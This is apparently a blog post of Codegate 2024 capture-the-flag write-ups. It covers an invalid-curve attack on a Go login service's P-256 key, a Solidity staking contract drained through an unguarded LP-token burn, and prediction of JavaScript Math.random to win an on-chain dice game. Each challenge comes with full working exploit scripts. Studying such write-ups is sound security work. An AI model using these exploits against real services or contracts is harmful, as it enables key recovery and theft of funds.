const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
num, err := rand.Int(rand.Reader, big.NewInt(int64(len(charset))))
if err != nil {
panic(err)
}
b[i] = charset[num.Int64()]
}
return string(b)
}
func validateHash(hashValue *big.Int) bool {
shifted := new(big.Int).Rsh(hashValue, 24)
shifted.Lsh(shifted, 24)
return shifted.Cmp(hashValue) == 0
}
func PoW() {
randomString := generateRandomString(16)
fmt.Println("PoW > " + randomString)
var answer string
fmt.Scanln(&answer)
concatenated := randomString + answer
hash := sha256.Sum256([]byte(concatenated))
hashValue := new(big.Int).SetBytes(hash[:])
if !validateHash(hashValue) {
fmt.Println("Invalid PoW")
os.Exit(1)
}
}
func main() {
PoW()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGALRM)
go func() {
time.Sleep(600 * time.Second)
fmt.Println("timeout")
os.Exit(1)
}()
SessionManager = make(map[string]User)
SERVER_SECRET_KEY = make([]byte, 33)
_, _ = rand.Read(SERVER_SECRET_KEY)
fmt.Println("webAPI for my \"Baby Login\" system")
reader := bufio.NewReader(os.Stdin)
for {
request, err := getRequest(reader)
if err != nil {
fmt.Println("Invalid input")
return
}
switch request.Path {
case "/", "/index.html":
indexHandler(request)
case "/register.html":
registerHandler(request)
case "/login.html":
loginHandler(request)
case "/logout.html":
logoutHandler(request)
case "/flag.html":
flagHandler(request)
default:
fmt.Println("Invalid path")
}
}
}
When registering with an ID, the password is generated as follows: Gx + Gy + enc(k1, "userID_userRole") + hmac(k2, out).
k1, k2 are derived by taking 16-byte segments from the x-coordinate of G*SERVER_SECRET_KEY.
During login, k1 and k2 are calculated using G obtained from the password, and the decrypted value is verified against the HMAC.
idea
elliptic.P256().ScalarMult() function operates even when the input point is not on the P-256 curve.
However, there are instances where the function returns 0 instead of a valid result, but if it doesn’t return 0, it guarantees that the calculation was correct.
Specifically, by using a point G were pG = 0 for a small prime p, you can find non-zero k values that satisfy `GSERVER_SECRET_KEY= G*k`
Since k1 and k2 are derived derived only from the x-coordinate, both k and are valid solutions. In my case, I used Coppersmith's attack to compute the solution by solving the N/p(x^2-k^2)
exploit
from pwn import *
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib
import json
import random
import time
from sage.rings.factorint import factor_trial_division
from tqdm import trange
import hmac
import pickle
def hmac_sha256(key, message):
hmac_generator = hmac.new(key, msg=message, digestmod=hashlib.sha256)
return hmac_generator.digest()
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
### prepare
"""
p_prod = 1
p_set = set()
datasets = []
datasets = [[9, 653], [10, 251], [12, 389], [14, 491], [15, 421], [15, 823], [16, 769], [18, 349], [19, 829], [21, 433], [25, 541], [25, 977], [32, 751], [33, 439], [36, 673], [42, 229], [46, 449], [61, 607], [74, 499], [75, 569], [82, 463], [87, 293], [103, 397], [109, 547], [110, 691], [114, 877], [117, 233], [117, 487], [119, 631], [130, 929], [132, 241], [137, 431], [141, 263], [148, 677], [157, 467], [157, 743], [158, 281], [162, 701], [163, 257], [163, 347], [166, 409], [169, 809], [180, 313], [186, 239], [192, 283]]
for d in datasets:
p_set.add(d[1])
print(len(p_set), len(datasets))
for i in trange(200, 600):
E2 = EllipticCurve(GF(p), [a, i])
card = E2.cardinality()
for fact, _ in factor_trial_division(card, 1000):
if (200 < fact < 1000) and (fact not in p_set):
p_set.add(fact)
p_prod *= fact
small_p = fact
datasets.append([i, small_p])
print([i, small_p])
print(p_prod.nbits(), n.nbits())
print(len(datasets))
print(datasets)
exit()
#"""
"""
datasets = [[9, 653], [10, 251], [12, 389], [14, 491], [15, 421], [15, 823], [16, 769], [18, 349], [19, 829], [21, 433], [25, 541], [25, 977], [32, 751], [33, 439], [36, 673], [42, 229], [46, 449], [61, 607], [74, 499], [75, 569], [82, 463], [87, 293], [103, 397], [109, 547], [110, 691], [114, 877], [117, 233], [117, 487], [119, 631], [130, 929], [132, 241], [137, 431], [141, 263], [148, 677], [157, 467], [157, 743], [158, 281], [162, 701], [163, 257], [163, 347], [166, 409], [169, 809], [180, 313], [186, 239], [192, 283], [209, 863], [209, 983], [215, 307], [218, 733], [235, 211], [240, 859], [241, 853], [247, 479], [261, 269], [261, 311], [275, 331], [279, 223], [291, 827], [293, 709], [319, 353], [327, 601], [330, 619], [334, 317], [335, 271], [346, 277], [353, 443], [360, 521], [374, 661], [375, 227], [429, 359], [438, 947], [457, 971], [473, 911], [474, 523], [486, 811], [498, 907], [506, 997], [508, 683], [534, 587], [560, 797], [563, 739], [570, 773], [580, 617], [592, 647], [598, 659]]
datasets = sorted(datasets, key = lambda x:x[1])
for idx, d in enumerate(datasets):
print(idx, len(datasets))
E2 = EllipticCurve(GF(p), [a, d[0]])
card = E2.cardinality()
small_p = d[1]
while True:
G2 = E2.random_point() * (E2.cardinality() // small_p)
if G2 != (G2 * small_p):
break
Gx = ZZ(G2[0])
Gy = ZZ(G2[1])
passwords = []
for i in trange(small_p // 2):
if i:
_m = int(ZZ((G2 * i)[0])).to_bytes(32, 'big')
else:
_m = b'\x00' * 32
k1, k2 = _m[:16], _m[16:]
pt = b'ADMIN_admin'
pt += b'\x00' * (16 - len(pt))
cipher = AES.new(k1, AES.MODE_ECB)
Gx_b = int(Gx).to_bytes(32, 'big')
Gy_b = int(Gy).to_bytes(32, 'big')
enc = cipher.encrypt(pt)
out = Gx_b + Gy_b + enc
out += hmac_sha256(k2, out)
passwords.append(out)
datasets[idx] = tuple(d) + tuple(passwords)
print(datasets[idx])
with open('datasets.pickle','wb') as f:
pickle.dump(datasets, f)
print("done")
exit()
"""
###
def pow_solver(x):
print(x)
for i in range(1 << 32):
hash_digest = hashlib.sha256((x + hex(i)).encode()).digest()
if hash_digest[-3:] == b'\x00' * 3:
print(hex(i))
return hex(i)
else:
print("failed")
exit(-1)
#r = process(["go", "run", "main.go"])
#secret = int(r.recvline()) % n
#"""
r = remote("43.202.3.171", "8081")
ans = pow_solver(r.recvline().decode()[6:-1])
r.sendline(ans.encode())
#"""
start_time = time.time()
def register(id):
data = {}
data["Path"] = "/register.html"
data["Method"] = "POST"
data["Uid"] = id
r.sendlineafter(b'> ', json.dumps(data).encode())
r.recvuntil(b'token : ')
token = b64decode(r.recvline()[:-1])
return token
def login(id, pw):
data = {}
data["Path"] = "/login.html"
data["Method"] = "POST"
data["Uid"] = id
data["Password"] = b64encode(pw).decode()
r.sendlineafter(b'> ', json.dumps(data).encode())
if r.recvline() != b'Unauthorized\n':
r.recvuntil(b'session : ')
session = r.recvline()[:-1].decode()
return session
else:
return None
def logout(session):
data = {}
data["Path"] = "/logout.html"
data["Method"] = "GET"
data["Session"] = session
r.sendlineafter(b'> ', json.dumps(data).encode())
print(r.recvline())
def index(session):
data = {}
data["Path"] = "/index.html"
data["Method"] = "GET"
data["Session"] = session
r.sendlineafter(b'> ', json.dumps(data).encode())
print(r.recvline())
def flag(session, secret):
data = {}
data["Path"] = "/flag.html"
data["Method"] = "POST"
data["Session"] = session
data["Secret"] = b64encode(secret).decode()
r.sendlineafter(b'> ', json.dumps(data).encode())
print(r.recvline())
p_prod = 1
crt_ans = []
with open('datasets.pickle','rb') as f:
datasets = pickle.load(f)
for d in datasets:
small_p = d[1]
passwords = d[2:]
assert len(passwords) == small_p // 2
if login('ADMIN', passwords[0]):
print(f"{small_p} failed")
continue
check = []
for i in trange(1, small_p // 2):
session = login('ADMIN', passwords[i])
if session:
break
else:
continue
#print(secret % small_p , i, (small_p - i))
crt_ans.append((i, small_p))
p_prod *= small_p
print(time.time() - start_time, p_prod.nbits(), n.nbits())
if p_prod.nbits()*(0.5 - 1/32) > n.nbits() :
break
pol = 0
P.<x> = PolynomialRing(Zmod(p_prod))
for target, small_p in crt_ans:
pol += (p_prod // small_p) * (x^2 - target^2)
pol *= pow(list(pol)[-1],-1,N)
roots = pol.small_roots(beta = 1, epsilon = 1/32)
root = min(roots)
#print(secret == root)
while root < 256^33:
flag(session, int(root).to_bytes(33, 'big'))
root += n
r.interactive()
r.close()
# codegate2024{d6e6c4caad3b5186cdef982b530f993b5fc77f6588a9a89a69a3c1d5ef0f91802178351c7c1aad97b94f5fd98b9b8927c77068}
All passwords used for verification were precomputed to avoid triggering a timeout.
etc
blockchain - Staker
Setup.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {Token} from "./Token.sol";
import {LpToken} from "./LpToken.sol";
import {StakingManager} from "./StakingManager.sol";
contract Setup {
StakingManager public stakingManager;
Token public token;
constructor() payable {
token = new Token();
stakingManager = new StakingManager(address(token));
token.transfer(address(stakingManager), 86400 * 1e18);
token.approve(address(stakingManager), 100000 * 1e18);
stakingManager.stake(100000 * 1e18);
}
function withdraw() external {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function isSolved() public view returns (bool) {
return token.balanceOf(address(this)) >= 10 * 1e18;
}
}
StakingManager.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {LpToken} from "./LpToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract StakingManager {
uint256 constant REWARD_PER_SECOND = 1e18;
IERC20 public immutable TOKEN;
LpToken public immutable LPTOKEN;
uint256 lastUpdateTimestamp;
uint256 rewardPerToken;
struct UserInfo {
uint256 staked;
uint256 debt;
}
mapping(address => UserInfo) public userInfo;
constructor(address token) {
TOKEN = IERC20(token);
LPTOKEN = new LpToken();
}
function update() internal {
if (lastUpdateTimestamp == 0) {
lastUpdateTimestamp = block.timestamp;
return;
}
uint256 totalStaked = LPTOKEN.totalSupply();
if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
lastUpdateTimestamp = block.timestamp;
}
}
function stake(uint256 amount) external {
update();
UserInfo storage user = userInfo[msg.sender];
user.staked += amount;
user.debt += (amount * rewardPerToken) / 1e18;
LPTOKEN.mint(msg.sender, amount);
TOKEN.transferFrom(msg.sender, address(this), amount);
}
function unstakeAll() external {
update();
UserInfo storage user = userInfo[msg.sender];
uint256 staked = user.staked;
uint256 reward = (staked * rewardPerToken / 1e18) - user.debt;
user.staked = 0;
user.debt = 0;
LPTOKEN.burnFrom(msg.sender, LPTOKEN.balanceOf(msg.sender));
TOKEN.transfer(msg.sender, staked + reward);
}
}
Token.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Token is ERC20 {
constructor() ERC20("Token", "TKN") {
_mint(msg.sender, 186401 * 1e18);
}
}
LpToken.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract LpToken is ERC20 {
address immutable minter;
constructor() ERC20("LP Token", "LP") {
minter = msg.sender;
}
function mint(address to, uint256 amount) external {
require(msg.sender == minter, "only minter");
_mint(to, amount);
}
function burnFrom(address from, uint256 amount) external {
_burn(from, amount);
}
}
In the setup, 186,401 TKN are issued, with 86,400 TKN transferred to the StakingManager and 100,000 TKN staked.
wi When a withdrawal is made, the remaining TKN in the setup is transferred entirely to the msg.sender.
The StakingManager issues LP tokens to msg.sender corresponding to the amount of tokens staked.
Additionally, each second, 1 TKN is distributed to all stakers proportionally based on their LP token holdings.
fl To obtain the flag, the setup must own at least 10 TKN.
idea
Since 1 TKN is rewarded each second to stakers based on their LP proportion, and there's no permission required to burn LP tokens, you can exploit this.
By withdrawing to receive 1 TKN, then staking it, and burning all of the setup's LP tokens, you can start receiving 1 TKN per second.
After waiting 10 seconds to accumulate 10 TKN, you can transfer these to the setup, which will allow you to obtain the flag.
exploit
from web3 import Web3
import json
import random
def get_receipt(transaction, private_key):
signed_txn = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
return tx_receipt
def load_abi(filename):
with open(filename, "r") as abi_file:
contract_abi = json.load(abi_file)
return contract_abi
# RPC URL
rpc_url = f".."
# Connect to Ethereum node via RPC
w3 = Web3(Web3.HTTPProvider(rpc_url))
# Check if the connection is successful
if w3.is_connected():
print("Connected to Ethereum node")
else:
print("Failed to connect")
exit()
address = ".."
private_key = ".."
# Display account balance
balance = w3.eth.get_balance(address)
print(f"Balance: {w3.from_wei(balance, 'ether')} ETH")
setup_address = ".."
setup_abi = load_abi("bin/Setup.abi")
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
token_address = setup_contract.functions.token().call()
token_abi = load_abi("bin/Token.abi")
token_contract = w3.eth.contract(address=token_address, abi=token_abi)
stakingManager_address = setup_contract.functions.stakingManager().call()
stakingManager_abi = load_abi("bin/StakingManager.abi")
stakingManager_contract = w3.eth.contract(address=stakingManager_address, abi=stakingManager_abi)
lptoken_address = stakingManager_contract.functions.LPTOKEN().call()
lptoken_abi = load_abi("bin/LpToken.abi")
lptoken_contract = w3.eth.contract(address=lptoken_address, abi=lptoken_abi)
def show():
print("#" * 30)
print(stakingManager_contract.functions.userInfo(address).call())
print(stakingManager_contract.functions.userInfo(setup_address).call())
balance = token_contract.functions.balanceOf(address).call()
print(f"MY Balance: {w3.from_wei(balance, 'ether')} TKN")
balance = token_contract.functions.balanceOf(setup_address).call()
print(f"SETUP Balance: {w3.from_wei(balance, 'ether')} TKN")
balance = lptoken_contract.functions.balanceOf(address).call()
print(f"MY Balance: {w3.from_wei(balance, 'ether')} LP")
balance = lptoken_contract.functions.balanceOf(setup_address).call()
print(f"SETUP Balance: {w3.from_wei(balance, 'ether')} LP")
balance = lptoken_contract.functions.totalSupply().call()
print(f"TOTAL Balance: {w3.from_wei(balance, 'ether')} LP")
print("#" * 30)
#
transaction = setup_contract.functions.withdraw().build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
# 1. approve
transaction = token_contract.functions.approve(stakingManager_address, (100) * 10 ** 18).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 2. stake
transaction = stakingManager_contract.functions.stake(1).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 3. burn all
transaction = lptoken_contract.functions.burnFrom(setup_address, lptoken_contract.functions.balanceOf(setup_address).call()).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 4. unstake
import time
time.sleep(10)
transaction = stakingManager_contract.functions.unstakeAll().build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 5. transfer
transaction = token_contract.functions.transfer(setup_address, (10) * 10 ** 18).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
print(setup_contract.functions.isSolved().call())misc - DICE OR DIE
onchain/src/DD.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
import {USD} from "./USD.sol";
contract DD {
error ERC20InsufficientBalance(
address account,
uint256 balance,
uint256 value
);
error InvalidCommitment(uint256 commitment);
error TooRich(address account);
error InvalidSize(uint256 size);
error OnlyOwner(address account);
event Win(uint256 indexed amount);
event Lose();
USD private _usd;
address private _owner;
mapping(uint256 index => address owner) private _owners;
mapping(uint256 index => uint256 value) private _values;
mapping(uint256 index => uint256 size) private _sizes;
mapping(uint256 index => bytes32 commitment) private _commitments;
mapping(bytes32 id => bool) private _flag;
constructor(address usd) {
_usd = USD(usd);
_owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != _owner) revert OnlyOwner(msg.sender);
_;
}
function commit(uint256 index, bytes32 commitment) external onlyOwner {
_commitments[index] = commitment;
}
function bet(uint256 index, uint256 value, uint256 size) external {
if (size == 0) {
revert InvalidSize(size);
}
if (_commitments[index] == 0) {
revert InvalidCommitment(index);
}
_usd.burn(msg.sender, size);
_sizes[index] = size;
_values[index] = value;
_owners[index] = msg.sender;
}
function open(uint256 index, uint256 commitment) external {
if (
keccak256(abi.encode(commitment)) != _commitments[index] ||
_commitments[index] == 0
) {
revert InvalidCommitment(index);
}
if (_owners[index] != msg.sender) {
revert OnlyOwner(msg.sender);
}
uint256 size = _sizes[index];
uint256 value = _values[index];
uint256 input = commitment % 6;
_commitments[index] = 0;
if (input == value) {
_usd.mint(msg.sender, size * 3);
emit Win(size * 3);
} else {
emit Lose();
}
if (_usd.balanceOf(msg.sender) > 1e10) {
revert TooRich(msg.sender);
}
}
function isSettled(uint256 index) external view returns (bool) {
return _commitments[index] != 0;
}
// function play(uint256 value, uint256 size) external {
// _usd.burn(msg.sender, size);
// uint256 rand = uint256(
// keccak256(
// abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
// )
// ) % 6;
// if (rand == value && flag == false) {
// _usd.mint(msg.sender, size * 3);
// }
// }
function buyFlag(bytes32 id) external {
_usd.burn(msg.sender, 1e8);
_flag[id] = true;
}
function checkSolve(bytes32 id) external view returns (bool) {
return _flag[id];
}
}
src/app/admin/route.js
import { ddAddress } from '@/constants'
import { readFileSync } from 'fs'
import { headers } from 'next/headers'
import { NextResponse } from 'next/server'
import {
createWalletClient,
getContract,
http,
keccak256,
publicActions,
toBytes,
} from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import { klaytnBaobab } from 'viem/chains'
const loadMetadata = (name) =>
JSON.parse(readFileSync(`onchain/out/${name}.sol/${name}.json`, 'utf8'))
const getRandom = () =>
BigInt(Math.random().toString().slice(2)) *
BigInt(Math.random().toString().slice(2))
export async function GET() {
const header = headers()
if (header.get('host') === '127.0.0.1:3000') {
const dd = loadMetadata('DD')
const account = privateKeyToAccount(process.env.privKey)
const client = createWalletClient({
account,
chain: klaytnBaobab,
transport: http(),
}).extend(publicActions)
const ddContract = getContract({
address: ddAddress,
abi: dd.abi,
client,
})
const value = getRandom()
const index = getRandom().toString()
const commitment = keccak256(toBytes(value, { size: 32 }))
const hash = await ddContract.write.commit([index, commitment])
process.env[index] = value.toString()
return NextResponse.json({
index,
commitment,
hash,
value: value.toString(),
})
}
return NextResponse.json({ error: 'access denied' })
}
src/app/dice/main.js
'use client'
import { reveal } from '@/app/actions'
import { ddAbi, ddAddress, usdAbi, usdAddress } from '@/constants'
import {
Box,
Button,
Divider,
Flex,
HStack,
Image,
Input,
List,
ListItem,
Text,
VStack,
} from '@chakra-ui/react'
import Link from 'next/link'
import { useEffect, useRef, useState } from 'react'
import { useAccount, useReadContract, useWriteContract } from 'wagmi'
export default function Page({ index }) {
let balance = 0
const [history, setHistory] = useState([])
const [id, setId] = useState('unknown')
const betAmount = useRef()
const [number, setNumber] = useState(0)
const { address, isConnected } = useAccount()
const { writeContractAsync } = useWriteContract()
const rollDice = () => {
const dice = document.querySelector('.die-list')
toggleClasses(dice)
dice.dataset.roll = getRandomNumber(1, 6)
setNumber(dice.dataset.roll)
}
const toggleClasses = (die) => {
die.classList.toggle('odd-roll')
die.classList.toggle('even-roll')
}
const getRandomNumber = (min, max) => {
min = Math.ceil(min)
max = Math.floor(max)
return Math.floor(Math.random() * (max - min + 1)) + min
}
const max = (bal) => {
betAmount.current.value = bal
}
const mint = async () => {
try {
const hash = await writeContractAsync({
abi: usdAbi,
address: usdAddress,
functionName: 'publicMint',
})
window.toast({
title: 'Minting in progress',
description: (
<Link
target='_blank'
href={`https://baobab.klaytnscope.com/tx/${hash}`}
>
{hash}
</Link>
),
status: 'info',
duration: 5000,
isClosable: true,
})
} catch (e) {
window.toast({
title: 'Minting error',
description: 'You are too fast. minting allowed once a day!',
status: 'error',
duration: 5000,
isClosable: true,
})
}
}
const open = async (k, i) => {
const commitment = await reveal.bind(null, i)()
const hash = await writeContractAsync({
abi: ddAbi,
address: ddAddress,
functionName: 'open',
args: [i, commitment],
})
const newHistory = { ...history }
delete newHistory[k]
setHistory(newHistory)
localStorage.setItem('history', JSON.stringify(newHistory))
window.toast({
title: 'Betting Open in progress',
description: (
<Link
target='_blank'
href={`https://baobab.klaytnscope.com/tx/${hash}`}
>
{hash}
</Link>
),
status: 'info',
duration: 5000,
isClosable: true,
})
}
const bet = async () => {
const amount = parseInt(betAmount.current.value)
if (amount > 0) {
const hash = await writeContractAsync({
abi: ddAbi,
address: ddAddress,
functionName: 'bet',
args: [index, number - 1, amount],
})
const newHistory = { ...history }
newHistory[hash] = index
localStorage.setItem('history', JSON.stringify(newHistory))
setHistory(newHistory)
}
}
const usdBalance = useReadContract({
abi: usdAbi,
address: usdAddress,
functionName: 'balanceOf',
args: [address],
})
if (typeof usdBalance?.data == 'bigint') balance = usdBalance.data.toString()
useEffect(() => {
if (window.id) setId(window.id)
setHistory(JSON.parse(localStorage.getItem('history') ?? '{}'))
}, [])
return isConnected ? (
<VStack mt='8rem'>
<VStack>
<Text>Your ID : {id}</Text>
<HStack>
<Text>Current Balance : {balance}</Text>
<Image src='/usd.png' alt='usd' w='1.5rem' />
</HStack>
<Button onClick={mint}>mint</Button>
</VStack>
<Divider />
<Box className='dice' mt='2rem'>
<List className='die-list even-roll' data-roll='1' id='die-1'>
{[...Array(6)].map((_, i) => (
<ListItem className='die-item' data-side={i + 1} key={i}>
{[...Array(i + 1)].map((_, j) => (
<Flex className='dot' key={j} />
))}
</ListItem>
))}
</List>
</Box>
<Button onClick={rollDice}>Roll Dice</Button>
<VStack mt='3rem'>
<Flex>Your number is : {number}</Flex>
<HStack>
<Input type='number' placeholder='Bet amount' ref={betAmount} />
<Button onClick={() => max(balance)}>Max</Button>
</HStack>
<Button isDisabled={number == 0} onClick={bet}>
Bet!
</Button>
</VStack>
<Divider />
<VStack mt='2rem'>
<Text>Your betting history</Text>
<VStack>
{Object.keys(history).map((k, i) => (
<HStack key={i}>
<Link
target='_blank'
href={`https://baobab.klaytnscope.com/tx/${k}`}
>
{k}
</Link>
<Button onClick={() => open(k, history[k])}>Open</Button>
</HStack>
))}
</VStack>
</VStack>
</VStack>
) : (
<Flex justify='center'>connect first!</Flex>
)
}
src/app/dice/page.js
import { use } from 'react'
import Main from './main'
export default function Page() {
const { index } = use(
fetch('http://127.0.0.1:3000/admin', {
method: 'GET',
cache: 'no-store',
}).then((res) => res.json())
)
return <Main index={index} />
}
When a client accesses the dice page, the server internally accesses http://127.0.0.1:3000/admin to commit the contract. .
const getRandom = () =>
BigInt(Math.random().toString().slice(2)) *
BigInt(Math.random().toString().slice(2))
export async function GET() {
const header = headers()
if (header.get('host') === '127.0.0.1:3000') {
const dd = loadMetadata('DD')
const account = privateKeyToAccount(process.env.privKey)
const client = createWalletClient({
account,
chain: klaytnBaobab,
transport: http(),
}).extend(publicActions)
const ddContract = getContract({
address: ddAddress,
abi: dd.abi,
client,
})
const value = getRandom()
const index = getRandom().toString()
const commitment = keccak256(toBytes(value, { size: 32 }))
const hash = await ddContract.write.commit([index, commitment])
process.env[index] = value.toString()
return NextResponse.json({
index,
commitment,
hash,
value: value.toString(),
})
}
return NextResponse.json({ error: 'access denied' })
}
The getRandom() function calculates the index and value,
allowing the client to place bets and check the results (open).
Based on the tokens we have and the dice number, we can place bets on the corresponding index.
However, the "open" action can only be performed on a specific dice number assigned to each index.
If the dice number minus 1 matches the remainder of the value when divided by 6, the client wins three times the bet amount.
idea
This contract is on the Baobab testnet, and while we can verify the hash values of the index and value, we cannot directly see the value itself.(Seems actually possible, but I didn't noticed it while solving challenge)
However, we can infer the value of Math.random() used to calculate the index. By verifying whether these values follow the actual conditions of Math.random(), we can predict the results generated by Math.random().
exploit
#!/usr/bin/python3
import struct
import sys
N=100
class Solver:
def __init__(self):
self.equations = []
self.outputs = []
def insert(self, equation, output):
for eq, o in zip(self.equations, self.outputs):
lsb = eq & -eq
if equation & lsb:
equation ^^= eq
output ^^= o
if equation == 0:
assert output==0
return
lsb = equation & -equation
for i in range(len(self.equations)):
if self.equations[i] & lsb:
self.equations[i] ^^= equation
self.outputs[i] ^^= output
self.equations.append(equation)
self.outputs.append(output)
def is_solvable(self):
return len(self.equations) == 128
def solve(self):
if not self.is_solvable():
assert False, "Not solvable"
num = 0
for i, eq in enumerate(self.equations):
assert eq == (eq & -eq), "Should be reduced now"
if self.outputs[i]:
num |= eq
return num
def solve_with_targets(targets):
se_state0=[1<<i for i in range(64)]
se_state1=[1<<(i+64) for i in range(64)]
solver = Solver()
targets = [int(float(t) * 2**52) for t in targets]
try:
for j in range(len(targets)):
se_s1 = se_state0[:]
se_s0 = se_state1[:]
se_state0 = se_s0[:]
#se_s1 ^^= se_s1 << 23
for i in range(64-23):
se_s1[63-i] ^^= se_s1[63-i-23]
#se_s1 ^^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift
for i in range(64-17):
se_s1[i] ^^= se_s1[i+17]
#se_s1 ^^= se_s0
for i in range(64):
se_s1[i] ^^= se_s0[i]
#se_s1 ^^= z3.LShR(se_s0, 26)
for i in range(64-26):
se_s1[i] ^^= se_s0[i+26]
se_state1 = se_s1[:]
target=targets[j]
if target < 0:
continue
for i in range(52):
solver.insert(se_state0[12 + i],int((target >> i) & 1))
solved=solver.solve()
states = {}
states["se_state0"] = solved&0xFFFFFFFFFFFFFFFF
states["se_state1"] = solved>>64
return states
except:
return None
"""
a = 75802983205316688796395552781398
b = 114429500396470652495161414002552
da = divisors(a)
dda = []
for i in range(len(da)):
x, y = da[i], da[-1 - i]
assert x * y == a
if x < 10^17 and y < 10^17:
for x_l in range(18 - len(str(x))):
for y_l in range(18 - len(str(y))):
xx = float("0." + "0" * x_l + str(x))
yy = float("0." + "0" * y_l + str(y))
dda.append((xx, yy))
if xx == (float(0.7049781694071042)):
print(dda[-1])
db = divisors(b)
ddb = []
for i in range(len(db)):
x, y = db[i], db[-1 - i]
assert x * y == b
if x < 10^17 and y < 10^17:
for x_l in range(18 - len(str(x))):
for y_l in range(18 - len(str(y))):
xx = float("0." + "0" * x_l + str(x))
yy = float("0." + "0" * y_l + str(y))
ddb.append((xx, yy))
print(len(dda), len(ddb))
from tqdm import tqdm
for t_a in tqdm(dda):
for t_b in ddb:
targets = list(t_a) + [-1, -1] + list(t_b)
states = solve_with_targets(targets)
if states:
break
else:
continue
break
else:
print("failed")
exit(-1)
print("shit!!", states)
exit()
"""
states = {'se_state0': 11306039759072879827, 'se_state1': 15677384870866232290}
def next():
MASK = 0xFFFFFFFFFFFFFFFF
s1 = states["se_state0"] & MASK
s0 = states["se_state1"] & MASK
s1 ^^= (s1 << 23) & MASK
s1 ^^= (s1 >> 17) & MASK
s1 ^^= s0 & MASK
s1 ^^= (s0 >> 26) & MASK
states["se_state0"] = states["se_state1"] & MASK
states["se_state1"] = s1 & MASK
def back():
MASK = 0xFFFFFFFFFFFFFFFF
def reverse17(val):
return val ^^ (val >> 17) ^^ (val >> 34) ^^ (val >> 51)
def reverse23(val):
return (val ^^ (val << 23) ^^ (val << 46)) & MASK
s1 = states["se_state0"] & MASK
s0 = (states["se_state1"] ^^ (s1>>26) )& MASK
s0 = s0 ^^ s1
s0 = reverse17(s0)
s0 = reverse23(s0)
states["se_state0"] = s0 & MASK
states["se_state1"] = s1 & MASK
def out():
state0 = states["se_state0"]
u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
float_64 = struct.pack("<Q", u_long_long_64)
next_sequence = struct.unpack("d", float_64)[0]
return next_sequence-1
def getrandom():
next()
a = str(out()).split('.')[-1]
next()
b = str(out()).split('.')[-1]
return int(a) * int(b)
def commit():
index = getrandom()
value = getrandom() % 6
return index, value
for _ in range(64):
back()
target_index = 135182080182366803921198814399207
while True:
index, value = commit()
if index == target_index:
break
print(hex(target_index)[2:])
print("answer is", value + 1)
'CTF > writeup-en' 카테고리의 다른 글
| Blackhat MEA CTF Quals 2024 - SaqrSign (0) | 2024.09.07 |
|---|---|
| ACSC 2024 Quals writeup (0) | 2024.04.07 |